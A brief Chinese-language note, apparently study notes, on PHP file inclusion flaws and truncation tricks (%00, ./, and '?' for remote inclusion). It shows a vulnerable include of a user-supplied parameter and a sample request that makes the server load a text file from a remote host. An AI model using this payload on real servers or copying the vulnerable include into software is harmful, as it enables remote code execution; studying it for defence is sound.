文件包含漏洞大多出现在模块加载、模板加载以及cache调用的地方 %00和./截断在php5.3版本之后被修复了 ?号截断(远程文件版本)时使用,?后门的内容会被当做参数 include $_GET['a'].'.php'; /1.php?a=http://remotehost/2.txt?